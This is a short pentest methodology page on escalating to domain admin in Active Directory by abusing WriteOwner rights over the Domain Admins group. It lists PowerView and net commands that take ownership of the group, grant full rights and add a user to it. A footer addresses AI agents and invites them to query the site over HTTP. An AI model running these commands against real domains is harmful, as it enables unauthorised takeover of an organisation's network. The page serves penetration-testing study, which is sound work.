# WriteOwner Over Domain Admins

![](https://3418038199-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyTPWZkKJbJfX8uHiRzmn%2Fuploads%2FrXZruoW6dpeHzPFQqa0a%2F2022-08-16_15-34.png?alt=media\&token=82f263b7-775a-425f-8360-6307b87a73cb)

What this basically means is that we can pottentially add that user to the Domain Admins Groupjs because it has write permissions on the properties of the group.&#x20;

Depending whether we have credentials or a session as the user we might have to provide the variables for the password and the creds.

After importing PowerView.

```
Set-DomainObjectOwner -Identity "Domain Admins" -OwnerIdentity <user that has privs>
Add-DomainObjectAcl -TargetIdentity "Domain Admins" -Rights All -PrincipalIdentity <user that has the priv>
net group "Domain Admins" Muser that has the priv> /add /domain
```

Afterwards we should be part of the domain admins.&#x20;


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://lyethar.gitbook.io/methodology/readme/active-directory/exploitation/writeowner-over-domain-admins.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
